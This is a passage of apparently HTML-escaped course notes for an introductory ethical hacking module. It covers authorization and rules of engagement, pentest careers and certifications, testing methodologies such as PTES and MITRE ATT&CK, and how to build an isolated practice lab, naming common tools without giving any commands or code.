&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Scope&lt;/strong&gt;: Exact systems, IP ranges, domains, applications included/excluded.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Authorization Letter / Get Out of Jail Free Card&lt;/strong&gt;: Written permission from a person with legal authority over the systems, often required to show law enforcement if testing triggers an alert.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rules of Engagement (RoE)&lt;/strong&gt;: Document specifying testing windows, allowed techniques, prohibited actions (e.g., no DoS), emergency contacts, and escalation procedures.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Statement of Work (SOW)&lt;/strong&gt;: Contractual deliverable describing the engagement, timeline, and cost.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;NDA (Non-Disclosure Agreement)&lt;/strong&gt;: Protects confidentiality of findings and client data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Legal Frameworks Relevant to Authorization&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Computer Fraud and Abuse Act (CFAA)&lt;/strong&gt; — primary U.S. federal anti-hacking law; unauthorized access is a federal crime.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Computer Misuse Act 1990&lt;/strong&gt; (UK) — UK's equivalent legislation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Convention on Cybercrime (Budapest Convention)&lt;/strong&gt; — international treaty harmonizing cybercrime laws.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Golden Rule&lt;/strong&gt;: No authorization = no penetration test. It's a crime. Always operate under signed scope documents.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  1.1.5 Careers in Penetration Testing (Industry Roles &amp;amp; Titles)
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Penetration Tester / Pentester&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Conducts authorized simulated attacks against defined scope.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Red Teamer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Conducts long-term, stealthy, full-scope adversary simulation testing detection &amp;amp; response, not just vulnerabilities.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Security Consultant&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Broader advisory role, often includes pentesting plus architecture/compliance guidance.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Analyst / Vulnerability Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Specializes in discovering new vulnerabilities (sometimes 0-days) in software/hardware.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Exploit Developer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Writes weaponized code (exploits) to leverage vulnerabilities; deep low-level/reverse engineering skill.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Application Security Engineer (AppSec)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Focuses specifically on securing software (SAST/DAST, secure code review, SDLC integration).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cloud Security Engineer/Pentester&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Specializes in AWS/Azure/GCP misconfigurations, IAM abuse, container/Kubernetes security.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Social Engineer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Specializes in human-focused attacks: phishing, vishing, physical pretexting.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Red Team Operator&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Senior red teamer using advanced tradecraft, C2 frameworks, OPSEC.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Purple Team Engineer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Bridges Red and Blue teams — validates detections collaboratively.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SOC Analyst (Tier 1/2/3)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Defensive (Blue Team) monitoring role; understanding this helps red teamers evade/test detection.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Incident Responder (DFIR)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Investigates and contains breaches; Digital Forensics and Incident Response.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CISO (Chief Information Security Officer)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Executive owning organizational security strategy; consumer of pentest reports.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Bug Bounty Hunter&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Independent researcher submitting vulnerabilities through platforms like &lt;strong&gt;HackerOne&lt;/strong&gt;, &lt;strong&gt;Bugcrowd&lt;/strong&gt;, &lt;strong&gt;Synack&lt;/strong&gt;, &lt;strong&gt;Intigriti&lt;/strong&gt; for monetary rewards.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OSINT Analyst&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Specializes in Open-Source Intelligence gathering for reconnaissance/investigations.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h4&gt;
  
  
  Common Industry Certifications (Career Roadmap Context)
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Entry-Level&lt;/strong&gt;: CompTIA Security+, CompTIA PenTest+, eJPT (eLearnSecurity Junior Penetration Tester), Cisco Ethical Hacker (this course)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mid-Level&lt;/strong&gt;: OSCP (Offensive Security Certified Professional) — the most respected hands-on pentest cert, CEH (Certified Ethical Hacker, EC-Council) — more theory-based, GPEN (GIAC Penetration Tester)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Advanced/Senior&lt;/strong&gt;: OSCE3/OSEP/OSWE (Offensive Security Experienced Penetration Tester / Web Expert), CRTO (Certified Red Team Operator), GXPN (GIAC Exploit Researcher and Advanced Penetration Tester), OSED (Offensive Security Exploit Developer)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cloud-Specific&lt;/strong&gt;: AWS/Azure/GCP security certifications, CCSK (Certificate of Cloud Security Knowledge)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Management/GRC&lt;/strong&gt;: CISSP (Certified Information Systems Security Professional), CISM (Certified Information Security Manager)&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Where Pentesters Work
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Consulting firms&lt;/strong&gt;: NCC Group, Mandiant (Google Cloud), Trustwave SpiderLabs, Bishop Fox, IOActive, Coalfire, Rapid7&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Big 4/Advisory&lt;/strong&gt;: Deloitte, PwC, EY, KPMG (security advisory arms)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;In-house Red Teams&lt;/strong&gt;: at large tech companies (Google, Microsoft, Meta, Amazon — internal red teams)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MSSPs (Managed Security Service Providers)&lt;/strong&gt;: provide outsourced security services to multiple clients&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Government/Defense&lt;/strong&gt;: NSA, CISA, GCHQ, military cyber commands&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Freelance/Independent&lt;/strong&gt;: Bug bounty platforms, independent consulting&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  1.2 Exploring Penetration Testing Methodologies
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1.2.1 Why Do We Need to Follow a Methodology?
&lt;/h3&gt;

&lt;p&gt;A methodology provides:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Consistency &amp;amp; Repeatability&lt;/strong&gt; across engagements and testers&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Completeness&lt;/strong&gt; — ensures no critical attack surface is missed&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Legal Defensibility&lt;/strong&gt; — demonstrates testing was systematic and professional, not reckless&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Communication&lt;/strong&gt; — gives clients and auditors a recognizable, standardized structure for reports&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Quality Assurance&lt;/strong&gt; — enables peer review and benchmarking&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Without a methodology, testing becomes ad hoc, inconsistent, and risks both missing critical vulnerabilities and causing unintended damage.&lt;/p&gt;

&lt;h3&gt;
  
  
  1.2.2 The Generic Penetration Testing Phases
&lt;/h3&gt;

&lt;p&gt;While specific frameworks vary in naming, nearly all converge on this generalized lifecycle:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Pre-Engagement / Planning and Scoping&lt;/strong&gt; — Define scope, RoE, goals, legal docs, timeline (this is Module 2's focus).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reconnaissance / Information Gathering&lt;/strong&gt; — Passive and active collection of target information (OSINT, DNS, WHOIS, etc.).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scanning and Enumeration&lt;/strong&gt; — Identifying live hosts, open ports, services, versions (Nmap, etc.) and extracting detailed information (users, shares, banners).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Vulnerability Analysis / Assessment&lt;/strong&gt; — Mapping discovered services/versions to known vulnerabilities (CVE lookups, vulnerability scanners like Nessus, OpenVAS).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Exploitation&lt;/strong&gt; — Actively attempting to leverage vulnerabilities to gain unauthorized access (Metasploit, manual exploits, custom payloads).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Post-Exploitation&lt;/strong&gt; — Privilege escalation, lateral movement, persistence, data exfiltration simulation, pivoting — proving full business impact.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reporting&lt;/strong&gt; — Documenting findings, severity (often via &lt;strong&gt;CVSS&lt;/strong&gt; — Common Vulnerability Scoring System), evidence (screenshots/logs), and remediation recommendations.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Remediation Validation / Retesting&lt;/strong&gt; — Confirming fixes were correctly applied (often a follow-up engagement).&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  1.2.3 Major Industry Standards and Frameworks
&lt;/h3&gt;

&lt;h4&gt;
  
  
  PTES — Penetration Testing Execution Standard
&lt;/h4&gt;

&lt;p&gt;A community-driven standard defining seven phases: Pre-engagement Interactions, Intelligence Gathering, Threat Modeling, Vulnerability Analysis, Exploitation, Post-Exploitation, Reporting. Widely referenced as a baseline professional methodology.&lt;/p&gt;

&lt;h4&gt;
  
  
  OSSTMM — Open Source Security Testing Methodology Manual
&lt;/h4&gt;

&lt;p&gt;Developed by ISECOM. Focuses on a scientific, metrics-driven approach to security testing ("rigor" via the &lt;strong&gt;RAV — Risk Assessment Values&lt;/strong&gt;). Covers operational security, including human, physical, wireless, telecommunications, and data network channels. Emphasizes measurable, auditable testing rather than checklist-based testing.&lt;/p&gt;

&lt;h4&gt;
  
  
  OWASP Testing Guide / OWASP WSTG (Web Security Testing Guide)
&lt;/h4&gt;

&lt;p&gt;Produced by the &lt;strong&gt;Open Web Application Security Project (OWASP)&lt;/strong&gt; — the most widely referenced standard specifically for &lt;strong&gt;web application&lt;/strong&gt; penetration testing. Closely tied to the &lt;strong&gt;OWASP Top 10&lt;/strong&gt;, a regularly updated list of the most critical web application security risks (e.g., Broken Access Control, Cryptographic Failures, Injection, Insecure Design, Security Misconfiguration, Vulnerable Components, Identification/Authentication Failures, Software/Data Integrity Failures, Logging/Monitoring Failures, SSRF). Also produces &lt;strong&gt;OWASP MASTG&lt;/strong&gt; (Mobile Application Security Testing Guide) and &lt;strong&gt;OWASP ASVS&lt;/strong&gt; (Application Security Verification Standard).&lt;/p&gt;

&lt;h4&gt;
  
  
  NIST SP 800-115 — Technical Guide to Information Security Testing and Assessment
&lt;/h4&gt;

&lt;p&gt;U.S. government standard defining testing techniques: review techniques, target identification/analysis techniques (e.g., network discovery, vulnerability scanning), and target vulnerability validation techniques (password cracking, penetration testing, social engineering). Often required for federal/government-adjacent engagements.&lt;/p&gt;

&lt;h4&gt;
  
  
  ISSAF — Information Systems Security Assessment Framework
&lt;/h4&gt;

&lt;p&gt;An older but historically influential framework correlating each step with specific tools.&lt;/p&gt;

&lt;h4&gt;
  
  
  MITRE ATT&amp;amp;CK Framework
&lt;/h4&gt;

&lt;p&gt;Not strictly a "pentest methodology" but a &lt;strong&gt;knowledge base of real-world adversary Tactics, Techniques, and Procedures (TTPs)&lt;/strong&gt; organized into a matrix (Reconnaissance, Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration, Impact). Used extensively by red teams to plan realistic attack simulations and by blue teams to map detection coverage. Companion frameworks: &lt;strong&gt;MITRE ATT&amp;amp;CK for Cloud&lt;/strong&gt;, &lt;strong&gt;ATT&amp;amp;CK for ICS&lt;/strong&gt; (industrial control systems), &lt;strong&gt;MITRE D3FEND&lt;/strong&gt; (defensive countermeasure mapping), &lt;strong&gt;MITRE CALDERA&lt;/strong&gt; (automated adversary emulation tool).&lt;/p&gt;

&lt;h4&gt;
  
  
  Lockheed Martin Cyber Kill Chain
&lt;/h4&gt;

&lt;p&gt;A 7-stage model of a cyberattack: Reconnaissance → Weaponization → Delivery → Exploitation → Installation → Command &amp;amp; Control → Actions on Objectives. Useful conceptually but criticized as overly linear/perimeter-focused compared to ATT&amp;amp;CK's matrix model.&lt;/p&gt;

&lt;h4&gt;
  
  
  Unified Kill Chain
&lt;/h4&gt;

&lt;p&gt;A more modern, 18-phase model merging Cyber Kill Chain and ATT&amp;amp;CK concepts to better represent modern, non-linear, multi-stage attacks (especially relevant for internal network compromise/lateral movement scenarios).&lt;/p&gt;

&lt;h4&gt;
  
  
  Diamond Model of Intrusion Analysis
&lt;/h4&gt;

&lt;p&gt;An analytical framework mapping four core features of any intrusion event: &lt;strong&gt;Adversary, Capability, Infrastructure, Victim&lt;/strong&gt; — used heavily in threat intelligence to understand attacker relationships.&lt;/p&gt;

&lt;h3&gt;
  
  
  1.2.4 Types of Penetration Tests (By Knowledge Level)
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Definition&lt;/th&gt;
&lt;th&gt;Use Case&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Black Box&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Tester has zero prior knowledge of target (mimics outside attacker)&lt;/td&gt;
&lt;td&gt;Most realistic external attacker simulation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;White Box (Crystal/Clear Box)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Tester has full knowledge: source code, architecture diagrams, credentials&lt;/td&gt;
&lt;td&gt;Deep, thorough internal review; common in AppSec&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Gray Box&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Tester has partial knowledge (e.g., a standard user account)&lt;/td&gt;
&lt;td&gt;Most common real-world approach — balances realism and efficiency&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Double-Blind&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Neither testers nor the defending blue team know the test is occurring&lt;/td&gt;
&lt;td&gt;Tests true detection/response capability&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Blind&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Testers have no information; organization's security team is aware testing will occur&lt;/td&gt;
&lt;td&gt;Standard scheduled engagement&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  1.2.5 Types of Penetration Tests (By Target/Scope)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Network Penetration Testing&lt;/strong&gt;: External (internet-facing) and Internal (assumed breach/insider perspective)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Web Application Penetration Testing&lt;/strong&gt;: Targets web apps per OWASP WSTG/Top 10&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mobile Application Penetration Testing&lt;/strong&gt;: iOS/Android apps (OWASP MASTG, static/dynamic analysis, jailbreak/root bypass)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wireless Penetration Testing&lt;/strong&gt;: Wi-Fi (WPA2/WPA3 attacks), Bluetooth, RF&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cloud Penetration Testing&lt;/strong&gt;: AWS/Azure/GCP — IAM misconfig, storage bucket exposure, serverless, container escape&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Physical Penetration Testing&lt;/strong&gt;: Testing physical access controls (badge cloning, tailgating, lock picking)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Social Engineering Assessment&lt;/strong&gt;: Phishing campaigns, vishing (voice phishing), pretexting, USB drops&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IoT Penetration Testing&lt;/strong&gt;: Embedded devices, firmware analysis&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;API Penetration Testing&lt;/strong&gt;: REST/GraphQL/SOAP API-specific testing (OWASP API Security Top 10)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Red Team Engagement&lt;/strong&gt;: Full-scope, multi-vector, objective-based, stealth-focused (vs. vulnerability-focused)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Purple Team Exercise&lt;/strong&gt;: Collaborative red+blue exercise to tune detections in real time&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  1.2.6 Environmental Considerations
&lt;/h3&gt;

&lt;p&gt;Professional testers must account for environment-specific constraints:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Production vs. Non-Production Systems&lt;/strong&gt;: Testing production risks outages; some tests are restricted to staging/QA environments.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fragile/Legacy Systems&lt;/strong&gt;: Older systems (e.g., SCADA/ICS, medical devices) may crash under aggressive scanning — requires gentler techniques.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cloud vs. On-Premises&lt;/strong&gt;: Cloud providers (AWS, Azure, GCP) have their own penetration testing policies — e.g., AWS allows testing of most services without prior approval as of their current policy, but prohibits certain actions (DDoS simulation, DNS zone walking against Route 53 in certain configs); Azure requires adherence to Microsoft's "Rules of Engagement for Penetration Testing." Violating CSP (Cloud Service Provider) testing policies can result in account suspension.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Third-Party Hosted Components&lt;/strong&gt;: CDNs (Cloudflare, Akamai), SaaS integrations may be out of scope since the client doesn't own them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compliance Boundaries (PCI scope, HIPAA scope)&lt;/strong&gt;: Some environments require restricting testing to cardholder-data-environment (CDE) boundaries.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Time Zone / Business Hours Windows&lt;/strong&gt;: Testing windows are often restricted to avoid impacting business operations.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Safety-Critical Systems&lt;/strong&gt;: ICS/SCADA/OT (Operational Technology) environments require extreme caution — exploitation could cause physical harm (e.g., power grid, water treatment, manufacturing).&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  1.3 Setting Up Your Own Lab
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1.3.1 Requirements and Guidelines for Penetration Testing Labs
&lt;/h3&gt;

&lt;p&gt;Building a personal, &lt;strong&gt;isolated&lt;/strong&gt; lab is essential for safe, legal hands-on practice. Core principles:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Isolation&lt;/strong&gt;: The lab network must be logically and ideally physically separated from production/home networks to prevent accidental scanning of real-world systems (which would be illegal without authorization) and to prevent malware/exploits from escaping into your real network.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Snapshot/Rollback Capability&lt;/strong&gt;: Virtual machines allow you to take "snapshots" of a clean state and instantly revert after intentionally breaking a system.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Legally-Owned/Licensed Targets Only&lt;/strong&gt;: Only attack systems you own or that are explicitly designed for legal practice (see vulnerable VM platforms below). Scanning or attacking any system without authorization — even "just to learn" — is illegal under the CFAA and equivalent laws worldwide.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Resource Planning&lt;/strong&gt;: CPU virtualization extensions (Intel VT-x/AMD-V) must be enabled in BIOS/UEFI; sufficient RAM (16GB+ recommended for running multiple VMs simultaneously) and disk space (SSD strongly preferred for VM performance).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  1.3.2 Virtualization Concepts
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Hypervisor&lt;/strong&gt;: Software that creates and runs virtual machines (VMs) by abstracting physical hardware.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Type 1 (Bare-Metal) Hypervisor&lt;/strong&gt;: Runs directly on hardware, no host OS required. Examples: VMware ESXi, Microsoft Hyper-V (server mode), Proxmox VE, Citrix Hypervisor (XenServer). Used in enterprise/production environments and dedicated lab servers.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Type 2 (Hosted) Hypervisor&lt;/strong&gt;: Runs as an application atop a host operating system. Examples: &lt;strong&gt;VirtualBox&lt;/strong&gt; (free, Oracle), &lt;strong&gt;VMware Workstation/Fusion&lt;/strong&gt; (commercial), &lt;strong&gt;Parallels Desktop&lt;/strong&gt; (macOS). Most common choice for personal labs.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Virtual Machine (VM)&lt;/strong&gt;: An emulated computer system running its own OS, isolated from the host, allowing multiple "computers" to run on one physical machine.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Virtual Network Modes&lt;/strong&gt; (critical for lab isolation):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;NAT (Network Address Translation)&lt;/strong&gt;: VM shares host's IP for outbound traffic; not directly reachable from outside — common default, decent isolation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bridged&lt;/strong&gt;: VM appears as its own device on the physical network — &lt;strong&gt;dangerous for lab use&lt;/strong&gt; as it exposes the VM (and any attacks) to the wider home/corporate network.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Host-Only / Internal Network&lt;/strong&gt;: VMs can only communicate with the host (host-only) or only with each other (internal network) and not the wider internet — &lt;strong&gt;the recommended mode for an isolated attack lab&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Snapshots&lt;/strong&gt;: Point-in-time saved states of a VM's disk/memory, allowing instant rollback after testing destructive exploits.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cloning&lt;/strong&gt;: Creating duplicate VMs (full clone = independent copy; linked clone = references a parent disk, saves space) to rapidly redeploy lab environments.&lt;/p&gt;

&lt;h3&gt;
  
  
  1.3.3 What Tools Should You Use in Your Lab? (Attacker &amp;amp; Target Systems)
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Attacker Platforms
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Kali Linux&lt;/strong&gt;: Debian-based Linux distribution maintained by Offensive Security, purpose-built for penetration testing with hundreds of pre-installed tools (Nmap, Metasploit, Burp Suite, Wireshark, John the Ripper, Hashcat, Aircrack-ng, etc.). The de facto industry-standard attacker OS.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Parrot Security OS&lt;/strong&gt;: Debian-based alternative to Kali, also focused on pentesting/forensics, marketed as slightly more lightweight and privacy-focused.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;BlackArch Linux&lt;/strong&gt;: Arch-based pentest distro with an even larger tool repository, generally for more advanced users.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Commando VM / FLARE-VM&lt;/strong&gt;: Windows-based offensive security distributions (Mandiant/FireEye) used for AD-focused or Windows-native tooling and malware analysis.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Vulnerable/Practice Target Systems (Legal Practice Platforms)
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Metasploitable 2 / Metasploitable 3&lt;/strong&gt;: Intentionally vulnerable Linux/Windows VMs built by Rapid7 for safe exploitation practice.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OWASP Juice Shop&lt;/strong&gt;: Modern, intentionally insecure web application (Node.js/Angular) covering OWASP Top 10 vulnerabilities.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DVWA (Damn Vulnerable Web Application)&lt;/strong&gt;: PHP/MySQL web app with adjustable difficulty levels for practicing web vulnerabilities.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;VulnHub&lt;/strong&gt;: Free repository of downloadable vulnerable VMs for offline practice.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hack The Box (HTB)&lt;/strong&gt;: Online platform with retired/active vulnerable machines, requires VPN connection to their lab infrastructure; widely respected in the industry for skill-building and even recruiting.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TryHackMe (THM)&lt;/strong&gt;: Guided, beginner-friendly gamified learning platform with rooms covering specific concepts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PortSwigger Web Security Academy&lt;/strong&gt;: Free, extremely respected resource for web app vulnerabilities, built by the creators of Burp Suite.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PentesterLab&lt;/strong&gt;: Paid platform with exercises tied closely to real CVEs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Damn Vulnerable GraphQL Application (DVGA)&lt;/strong&gt;, &lt;strong&gt;WebGoat&lt;/strong&gt; (OWASP), &lt;strong&gt;bWAPP&lt;/strong&gt;: additional purpose-built vulnerable apps.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Active Directory Labs&lt;/strong&gt;: GOAD (Game of Active Directory), DetectionLab — for practicing enterprise Windows domain attacks.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Core Tool Categories You Will Encounter Throughout the Course (Preview)
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Reconnaissance/OSINT&lt;/strong&gt;: theHarvester, Maltego, Shodan, Recon-ng, SpiderFoot&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scanning/Enumeration&lt;/strong&gt;: Nmap, Masscan, Rustscan, enum4linux, SMBclient&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Vulnerability Scanning&lt;/strong&gt;: Nessus (Tenable), OpenVAS/Greenbone, Qualys, Nexpose (Rapid7)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Exploitation Frameworks&lt;/strong&gt;: Metasploit Framework, Cobalt Strike (commercial C2, common in red teaming), Sliver, Empire&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Web App Testing&lt;/strong&gt;: Burp Suite (Community/Professional), OWASP ZAP, sqlmap, ffuf/gobuster (fuzzing/directory brute-force)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Password Attacks&lt;/strong&gt;: John the Ripper, Hashcat, Hydra, CrackMapExec/NetExec&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wireless&lt;/strong&gt;: Aircrack-ng suite, Wifite, Kismet&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Packet Analysis/Sniffing&lt;/strong&gt;: Wireshark, tcpdump&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Post-Exploitation/AD&lt;/strong&gt;: BloodHound, Mimikatz, PowerSploit, Rubeus, Impacket suite&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;C2 (Command and Control) Frameworks&lt;/strong&gt;: Cobalt Strike, Sliver, Mythic, Brute Ratel — infrastructure attackers/red teamers use to maintain remote control of compromised systems&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  1.3.4 What If You Break Something?
&lt;/h3&gt;

